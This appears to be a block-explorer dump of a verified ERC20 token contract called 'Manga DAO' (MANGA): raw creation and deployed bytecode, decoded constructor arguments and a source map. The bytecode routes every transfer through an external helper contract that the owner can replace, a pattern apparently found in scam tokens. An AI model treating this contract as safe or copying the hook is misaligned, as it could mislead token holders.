527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006118176028836113bc565b9150611822826117bb565b604082019050919050565b600060208201905081810360008301526118468161180a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611887826114cf565b9150611892836114cf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118c7576118c661184d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061192e6025836113bc565b9150611939826118d2565b604082019050919050565b6000602082019050818103600083015261195d81611921565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119c06026836113bc565b91506119cb82611964565b604082019050919050565b600060208201905081810360008301526119ef816119b3565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611a4d57808604811115611a2957611a2861184d565b5b6001851615611a385780820291505b8081029050611a46856119f6565b9450611a0d565b94509492505050565b600082611a665760019050611b22565b81611a745760009050611b22565b8160018114611a8a5760028114611a9457611ac3565b6001915050611b22565b60ff841115611aa657611aa561184d565b5b8360020a915084821115611abd57611abc61184d565b5b50611b22565b5060208310610133831016604e8410600b8410161715611af85782820a905083811115611af357611af261184d565b5b611b22565b611b058484846001611a03565b92509050818404811115611b1c57611b1b61184d565b5b81810290505b9392505050565b6000611b34826114cf565b9150611b3f836115f8565b9250611b6c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a56565b905092915050565b6000611b7f826114cf565b9150611b8a836114cf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611bc357611bc261184d565b5b828202905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c2a6024836113bc565b9150611c3582611bce565b604082019050919050565b60006020820190508181036000830152611c5981611c1d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cbc6022836113bc565b9150611cc782611c60565b604082019050919050565b60006020820190508181036000830152611ceb81611caf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611d28601b836113bc565b9150611d3382611cf2565b602082019050919050565b60006020820190508181036000830152611d5781611d1b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dba6025836113bc565b9150611dc582611d5e565b604082019050919050565b60006020820190508181036000830152611de981611dad565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e4c6023836113bc565b9150611e5782611df0565b604082019050919050565b60006020820190508181036000830152611e7b81611e3f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611ede6026836113bc565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f706021836113bc565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006120026022836113bc565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b6000612043826114cf565b915061204e836114cf565b9250828210156120615761206061184d565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a26020836113bc565b91506120ad8261206c565b602082019050919050565b600060208201905081810360008301526120d181612095565b9050919050565b60006060820190506120ed60008301866116f0565b6120fa60208301856116f0565b612107604083018461157b565b949350505050565b61211881611545565b811461212357600080fd5b50565b6000815190506121358161210f565b92915050565b6000602082840312156121515761215061146c565b5b600061215f84828501612126565b9150509291505056fe608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636c36515d14610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212200ecb2cb4d178bff687da57197c79e33c0c99422d3562ecdd7b0db20d5802fb8464736f6c63430008090033a2646970667358221220d1566108916c867bb037b4fac71813ae104ef3ce3c79d82819e910d9f674a78964736f6c63430008090033608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636c36515d14610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212200ecb2cb4d178bff687da57197c79e33c0c99422d3562ecdd7b0db20d5802fb8464736f6c63430008090033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000017de589579eddfef5dd3b7134be4640b21b5a06b00000000000000000000000000000000000000000000000000000000000000094d616e67612044414f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054d414e4741000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146102f8578063dd62ed3e14610328578063e164f60c14610358578063f2fde38b14610376578063fb86a4041461039257610121565b8063715018a614610266578063787ca65f146102705780638da5cb5b1461028c57806395d89b41146102aa578063a457c2d7146102c857610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e057806342966c68146102105780636d7528001461022c57806370a082311461023657610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103b0565b60405161013b919061144a565b60405180910390f35b61015e60048036038101906101599190611505565b610442565b60405161016b9190611560565b60405180910390f35b61017c610460565b604051610189919061158a565b60405180910390f35b6101ac60048036038101906101a791906115a5565b61046a565b6040516101b99190611560565b60405180910390f35b6101ca610562565b6040516101d79190611614565b60405180910390f35b6101fa60048036038101906101f59190611505565b61056b565b6040516102079190611560565b60405180910390f35b61022a6004803603810190610225919061162f565b610617565b005b61023461062b565b005b610250600480360381019061024b919061165c565b61065f565b60405161025d919061158a565b60405180910390f35b61026e6106a8565b005b61028a60048036038101906102859190611689565b6106bc565b005b6102946107a0565b6040516102a191906116ff565b60405180910390f35b6102b26107c9565b6040516102bf919061144a565b60405180910390f35b6102e260048036038101906102dd9190611505565b61085b565b6040516102ef9190611560565b60405180910390f35b610312600480360381019061030d9190611505565b610946565b60405161031f9190611560565b60405180910390f35b610342600480360381019061033d919061171a565b610964565b60405161034f919061158a565b60405180910390f35b6103606109eb565b60405161036d9190611560565b60405180910390f35b610390600480360381019061038b919061165c565b6109fe565b005b61039a610a82565b6040516103a7919061158a565b60405180910390f35b6060600580546103bf90611789565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611789565b80156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b600061045661044f610aa4565b8484610aac565b6001905092915050565b6000600354905090565b6000610477848484610c77565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c2610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105399061182d565b60405180910390fd5b6105568561054e610aa4565b858403610aac565b60019150509392505050565b60006012905090565b600061060d610578610aa4565b848460026000610586610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610608919061187c565b610aac565b6001905092915050565b610628610622610aa4565b82610f34565b50565b6106336110f5565b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b06110f5565b6106ba6000611173565b565b6106c46110f5565b60011515600760009054906101000a900460ff161515141561079a5760008211801561071c57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561072f5761072a81611237565b610799565b60405161073b906113a4565b604051809103906000f080158015610757573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107d890611789565b80601f016020809104026020016040519081016040528092919081815260200182805461080490611789565b80156108515780601f1061082657610100808354040283529160200191610851565b820191906000526020600020905b81548152906001019060200180831161083457829003601f168201915b5050505050905090565b6000806002600061086a610aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90611944565b60405180910390fd5b61093b610932610aa4565b85858403610aac565b600191505092915050565b600061095a610953610aa4565b8484610c77565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900460ff1681565b610a066110f5565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d906119d6565b60405180910390fd5b610a7f81611173565b50565b6012600a610a909190611b29565b6501d1a94a2000610aa19190611b74565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390611c40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8390611cd2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c6a919061158a565b60405180910390a3505050565b60008111610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611d3e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190611dd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190611e62565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890611ef4565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb6919061187c565b92505081905550610ec884848461128a565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f26919061158a565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611f86565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290612018565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546110839190612038565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e8919061158a565b60405180910390a3505050565b6110fd610aa4565b73ffffffffffffffffffffffffffffffffffffffff1661111b6107a0565b73ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906120b8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6112403361134b565b156112875780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016112ec939291906120d8565b602060405180830381600087803b15801561130657600080fd5b505af115801561131a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133e919061213b565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6102658061216983390190565b600081519050919050565b600082825260208201905092915050565b60005b838110156113eb5780820151818401526020810190506113d0565b838111156113fa576000848401525b50505050565b6000601f19601f8301169050919050565b600061141c826113b1565b61142681856113bc565b93506114368185602086016113cd565b61143f81611400565b840191505092915050565b600060208201905081810360008301526114648184611411565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149c82611471565b9050919050565b6114ac81611491565b81146114b757600080fd5b50565b6000813590506114c9816114a3565b92915050565b6000819050919050565b6114e2816114cf565b81146114ed57600080fd5b50565b6000813590506114ff816114d9565b92915050565b6000806040838503121561151c5761151b61146c565b5b600061152a858286016114ba565b925050602061153b858286016114f0565b9150509250929050565b60008115159050919050565b61155a81611545565b82525050565b60006020820190506115756000830184611551565b92915050565b611584816114cf565b82525050565b600060208201905061159f600083018461157b565b92915050565b6000806000606084860312156115be576115bd61146c565b5b60006115cc868287016114ba565b93505060206115dd868287016114ba565b92505060406115ee868287016114f0565b9150509250925092565b600060ff82169050919050565b61160e816115f8565b82525050565b60006020820190506116296000830184611605565b92915050565b6000602082840312156116455761164461146c565b5b6000611653848285016114f0565b91505092915050565b6000602082840312156116725761167161146c565b5b6000611680848285016114ba565b91505092915050565b600080600080608085870312156116a3576116a261146c565b5b60006116b1878288016114ba565b94505060206116c2878288016114ba565b93505060406116d3878288016114f0565b92505060606116e4878288016114ba565b91505092959194509250565b6116f981611491565b82525050565b600060208201905061171460008301846116f0565b92915050565b600080604083850312156117315761173061146c565b5b600061173f858286016114ba565b9250506020611750858286016114ba565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117a157607f821691505b602082108114156117b5576117b461175a565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006118176028836113bc565b9150611822826117bb565b604082019050919050565b600060208201905081810360008301526118468161180a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611887826114cf565b9150611892836114cf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118c7576118c661184d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061192e6025836113bc565b9150611939826118d2565b604082019050919050565b6000602082019050818103600083015261195d81611921565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119c06026836113bc565b91506119cb82611964565b604082019050919050565b600060208201905081810360008301526119ef816119b3565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611a4d57808604811115611a2957611a2861184d565b5b6001851615611a385780820291505b8081029050611a46856119f6565b9450611a0d565b94509492505050565b600082611a665760019050611b22565b81611a745760009050611b22565b8160018114611a8a5760028114611a9457611ac3565b6001915050611b22565b60ff841115611aa657611aa561184d565b5b8360020a915084821115611abd57611abc61184d565b5b50611b22565b5060208310610133831016604e8410600b8410161715611af85782820a905083811115611af357611af261184d565b5b611b22565b611b058484846001611a03565b92509050818404811115611b1c57611b1b61184d565b5b81810290505b9392505050565b6000611b34826114cf565b9150611b3f836115f8565b9250611b6c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a56565b905092915050565b6000611b7f826114cf565b9150611b8a836114cf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611bc357611bc261184d565b5b828202905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c2a6024836113bc565b9150611c3582611bce565b604082019050919050565b60006020820190508181036000830152611c5981611c1d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cbc6022836113bc565b9150611cc782611c60565b604082019050919050565b60006020820190508181036000830152611ceb81611caf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611d28601b836113bc565b9150611d3382611cf2565b602082019050919050565b60006020820190508181036000830152611d5781611d1b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dba6025836113bc565b9150611dc582611d5e565b604082019050919050565b60006020820190508181036000830152611de981611dad565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e4c6023836113bc565b9150611e5782611df0565b604082019050919050565b60006020820190508181036000830152611e7b81611e3f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611ede6026836113bc565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f706021836113bc565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006120026022836113bc565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b6000612043826114cf565b915061204e836114cf565b9250828210156120615761206061184d565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120a26020836113bc565b91506120ad8261206c565b602082019050919050565b600060208201905081810360008301526120d181612095565b9050919050565b60006060820190506120ed60008301866116f0565b6120fa60208301856116f0565b612107604083018461157b565b949350505050565b61211881611545565b811461212357600080fd5b50565b6000815190506121358161210f565b92915050565b6000602082840312156121515761215061146c565b5b600061215f84828501612126565b9150509291505056fe608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636c36515d14610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212200ecb2cb4d178bff687da57197c79e33c0c99422d3562ecdd7b0db20d5802fb8464736f6c63430008090033a2646970667358221220d1566108916c867bb037b4fac71813ae104ef3ce3c79d82819e910d9f674a78964736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000017de589579eddfef5dd3b7134be4640b21b5a06b00000000000000000000000000000000000000000000000000000000000000094d616e67612044414f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054d414e4741000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Manga DAO
Arg [1] : symbol_ (string): MANGA
Arg [2] : _to (address): 0x17De589579EddfeF5DD3b7134BE4640B21b5a06B
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000017de589579eddfef5dd3b7134be4640b21b5a06b
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 4d616e67612044414f0000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4d414e4741000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
7176:10206:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8170:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10861:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9131:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11385:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8919:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12261:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16260:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17301:78;;;:::i;:::-;;9429:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5880:103;;;:::i;:::-;;14605:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5239:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8681:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12818:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9866:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10368:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7619:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6138:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7540:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8170:100;8224:13;8257:5;8250:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8170:100;:::o;10861:184::-;10964:4;10981:34;10990:12;:10;:12::i;:::-;11004:2;11008:6;10981:8;:34::i;:::-;11033:4;11026:11;;10861:184;;;;:::o;9131:108::-;9192:7;9219:12;;9212:19;;9131:108;:::o;11385:529::-;11525:4;11542:36;11552:6;11560:9;11571:6;11542:9;:36::i;:::-;11591:24;11618:11;:19;11630:6;11618:19;;;;;;;;;;;;;;;:33;11638:12;:10;:12::i;:::-;11618:33;;;;;;;;;;;;;;;;11591:60;;11704:6;11684:16;:26;;11662:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;11814:57;11823:6;11831:12;:10;:12::i;:::-;11864:6;11845:16;:25;11814:8;:57::i;:::-;11902:4;11895:11;;;11385:529;;;;;:::o;8919:100::-;8977:5;7531:2;8995:16;;8919:100;:::o;12261:225::-;12369:4;12386:70;12395:12;:10;:12::i;:::-;12409:2;12445:10;12413:11;:25;12425:12;:10;:12::i;:::-;12413:25;;;;;;;;;;;;;;;:29;12439:2;12413:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12386:8;:70::i;:::-;12474:4;12467:11;;12261:225;;;;:::o;16260:85::-;16310:27;16316:12;:10;:12::i;:::-;16330:6;16310:5;:27::i;:::-;16260:85;:::o;17301:78::-;5125:13;:11;:13::i;:::-;17361:10:::1;;;;;;;;;;;17360:11;17347:10;;:24;;;;;;;;;;;;;;;;;;17301:78::o:0;9429:143::-;9519:7;9546:9;:18;9556:7;9546:18;;;;;;;;;;;;;;;;9539:25;;9429:143;;;:::o;5880:103::-;5125:13;:11;:13::i;:::-;5945:30:::1;5972:1;5945:18;:30::i;:::-;5880:103::o:0;14605:296::-;5125:13;:11;:13::i;:::-;14733:4:::1;14721:16;;:10;;;;;;;;;;;:16;;;14718:166;;;14761:1;14752:6;:10;:33;;;;;14776:9;14766:19;;:6;:19;;;;14752:33;14749:124;;;14787:18;14800:4;14787:12;:18::i;:::-;14749:124;;;14841:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;14833:7;;:28;;;;;;;;;;;;;;;;;;14749:124;14718:166;14605:296:::0;;;;:::o;5239:87::-;5285:7;5312:6;;;;;;;;;;;5305:13;;5239:87;:::o;8681:104::-;8737:13;8770:7;8763:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8681:104;:::o;12818:460::-;12931:4;12948:24;12975:11;:25;12987:12;:10;:12::i;:::-;12975:25;;;;;;;;;;;;;;;:29;13001:2;12975:29;;;;;;;;;;;;;;;;12948:56;;13057:15;13037:16;:35;;13015:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;13173:62;13182:12;:10;:12::i;:::-;13196:2;13219:15;13200:16;:34;13173:8;:62::i;:::-;13266:4;13259:11;;;12818:460;;;;:::o;9866:200::-;9977:4;9994:42;10004:12;:10;:12::i;:::-;10018:9;10029:6;9994:9;:42::i;:::-;10054:4;10047:11;;9866:200;;;;:::o;10368:164::-;10476:7;10503:11;:17;10515:4;10503:17;;;;;;;;;;;;;;;:21;10521:2;10503:21;;;;;;;;;;;;;;;;10496:28;;10368:164;;;;:::o;7619:22::-;;;;;;;;;;;;;:::o;6138:238::-;5125:13;:11;:13::i;:::-;6261:1:::1;6241:22;;:8;:22;;;;6219:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;